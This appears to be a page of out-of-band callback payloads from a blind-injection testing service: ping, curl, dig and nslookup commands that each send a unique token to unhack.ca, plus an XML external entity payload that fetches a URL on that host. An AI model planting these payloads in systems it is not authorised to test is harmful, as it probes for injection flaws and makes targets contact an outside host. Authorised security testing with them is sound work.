$ ping -c1 -p 00782512a5b888b47992d3cb377b6600 unhack.ca
 

$ curl http://unhack.ca/p/782512a5b888b47992d3cb377b66
 

$ dig 782512a5b888b47992d3cb377b66 @unhack.ca
 

$ dig 782512a5b888b47992d3cb377b66.ns.unhack.ca
 

C:\> nslookup 782512a5b888b47992d3cb377b66 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/782512a5b888b47992d3cb377b66">]>
    <foo>&xxe;</foo>